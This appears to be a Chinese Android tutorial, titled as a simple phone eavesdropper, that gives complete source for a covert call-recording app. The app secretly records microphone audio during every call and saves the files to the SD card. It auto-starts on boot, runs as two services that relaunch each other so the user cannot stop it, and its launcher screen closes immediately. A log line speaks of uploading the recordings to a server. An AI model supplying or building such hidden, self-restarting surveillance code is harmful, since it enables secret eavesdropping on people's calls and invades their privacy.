標籤:android開發
想要實現電話監聽器,思路:
1.首先得通過程式在後台運行,所以需要做成服務。
2.如何?電話監聽呢,首先要獲得電話管理器,然後監聽電話的狀態。
3.通過電話的不同狀態,實現電話的監聽。
4.還得開機啟動。
5.做一個守護進程然你無法關閉。。
6.在主activity裡的oncreate()裡自動開啟,這個activity不需要頁面
看代碼實現:
package com.jrrjw.phonelistener;import java.io.File;import android.app.Service;import android.content.Intent;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;public class SystemService2 extends Service {// 電話管理器private TelephonyManager tm;// 監聽器對象private MyListener listener;// 聲明錄音機private MediaRecorder mediaRecorder;@Overridepublic IBinder onBind(Intent intent) {return null;}// 服務建立的時候調用的方法@Overridepublic void onCreate() {// 後台監聽電話的呼叫狀態。// 得到電話管理器tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);listener = new MyListener();tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);super.onCreate();}private class MyListener extends PhoneStateListener {// 當電話的呼叫狀態發生變化的時候調用的方法@Overridepublic void onCallStateChanged(int state, String incomingNumber) {super.onCallStateChanged(state, incomingNumber);try {switch (state) {case TelephonyManager.CALL_STATE_IDLE:// 空閑狀態。if (mediaRecorder != null) {// 8.停止捕獲mediaRecorder.stop();// 9.釋放資源mediaRecorder.release();mediaRecorder = null;System.out.println("錄製完畢,上傳檔案到伺服器。");}break;case TelephonyManager.CALL_STATE_RINGING:// 零響狀態。break;case TelephonyManager.CALL_STATE_OFFHOOK:// 通話狀態// 開始錄音// 1.執行個體化一個錄音機mediaRecorder = new MediaRecorder();// 2.指定錄音機的聲音源mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //這裡使用的是mic也可以其他的類型,這個自行google,因為歐美國家有法律規定錄音違法,所以這裡我就只錄自己發出的聲音// 3.設定錄製的檔案輸出的格式mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);// 4.指定錄音檔案的名稱File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis() + ".mp3");mediaRecorder.setOutputFile(file.getAbsolutePath());// 5.設定音訊編碼mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);// 6.準備開始錄音mediaRecorder.prepare();// 7.開始錄音mediaRecorder.start();break;}} catch (Exception e) {e.printStackTrace();}}}// 服務銷毀的時候調用的方法@Overridepublic void onDestroy() {super.onDestroy();// 取消電話的監聽System.out.println("ondestory");tm.listen(listener, PhoneStateListener.LISTEN_NONE);Intent i = new Intent(this, SystemService.class);startService(i);listener = null;}}2.守護進程
package com.jrrjw.phonelistener;import java.io.File;import java.io.IOException;import android.app.Service;import android.content.Intent;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;public class SystemService extends Service {// 電話管理器private TelephonyManager tm;// 監聽器對象private MyListener listener;// 聲明錄音機private MediaRecorder mediaRecorder;@Overridepublic IBinder onBind(Intent intent) {return null;}// 服務建立的時候調用的方法@Overridepublic void onCreate() {// 後台監聽電話的呼叫狀態。// 得到電話管理器tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);listener = new MyListener();tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);super.onCreate();}private class MyListener extends PhoneStateListener {// 當電話的呼叫狀態發生變化的時候調用的方法@Overridepublic void onCallStateChanged(int state, String incomingNumber) {super.onCallStateChanged(state, incomingNumber);try {switch (state) {case TelephonyManager.CALL_STATE_IDLE:// 空閑狀態。if (mediaRecorder != null) {// 8.停止捕獲mediaRecorder.stop();// 9.釋放資源mediaRecorder.release();mediaRecorder = null;System.out.println("錄製完畢,上傳檔案到伺服器。");}break;case TelephonyManager.CALL_STATE_RINGING:// 零響狀態。break;case TelephonyManager.CALL_STATE_OFFHOOK:// 通話狀態// 開始錄音// 1.執行個體化一個錄音機mediaRecorder = new MediaRecorder();// 2.指定錄音機的聲音源mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);// 3.設定錄製的檔案輸出的格式mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);// 4.指定錄音檔案的名稱File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis() + ".mp3");mediaRecorder.setOutputFile(file.getAbsolutePath());// 5.設定音訊編碼mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);// 6.準備開始錄音mediaRecorder.prepare();// 7.開始錄音mediaRecorder.start();break;}} catch (Exception e) {e.printStackTrace();}}}// 服務銷毀的時候調用的方法@Overridepublic void onDestroy() {super.onDestroy();// 取消電話的監聽System.out.println("ondestory");Intent i = new Intent(this, SystemService2.class);startService(i);tm.listen(listener, PhoneStateListener.LISTEN_NONE);listener = null;}}
3.開機自啟動
package com.jrrjw.phonelistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public class BootReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Intent i = new Intent(context,SystemService.class);context.startService(i);}}
4.首頁面的顯示
package com.jrrjw.phonelistener;import com.jrrjw.phonelistener.R;import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.view.View;import android.widget.Toast;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);boolean isRunning = ServiceUtils.isServicRunning(this,"com.jrrjw.phonelistener.SystemService");if (!isRunning) {Intent intent = new Intent(this, SystemService.class);startService(intent);}Toast.makeText(this, "System Service is running", Toast.LENGTH_SHORT).show();finish();}}
5.資訊清單檔的內容
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.jrrjw.phonelistener" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.jrrjw.phonelistener.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name="com.jrrjw.phonelistener.SystemService" > </service> <service android:name="com.jrrjw.phonelistener.SystemService2" > </service> <receiver android:name="com.jrrjw.phonelistener.BootReceiver" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> </application></manifest>
6.用到的工具類 判斷當前服務是否運行
package com.jrrjw.phonelistener;import java.util.List;import android.app.ActivityManager;import android.app.ActivityManager.RunningServiceInfo;import android.content.Context;public class ServiceUtils {public static boolean isServicRunning(Context context, String serviceName) {ActivityManager am = (ActivityManager) context.getSystemService(context.ACTIVITY_SERVICE);List<RunningServiceInfo> infos = am.getRunningServices(100);for (RunningServiceInfo runningServiceInfo : infos) {String serviceN = runningServiceInfo.service.getClassName();if (serviceName.equals(serviceN)) {return true;}}return false;}}好了,這樣就實現了簡單的電話監聽器,一旦你電話結束後,監聽器就會把錄好的聲音以時間的形式儲存到你的sd卡,這裡我沒有判斷sd卡是否存在,只是一個demo
簡單實現android中的電話竊聽器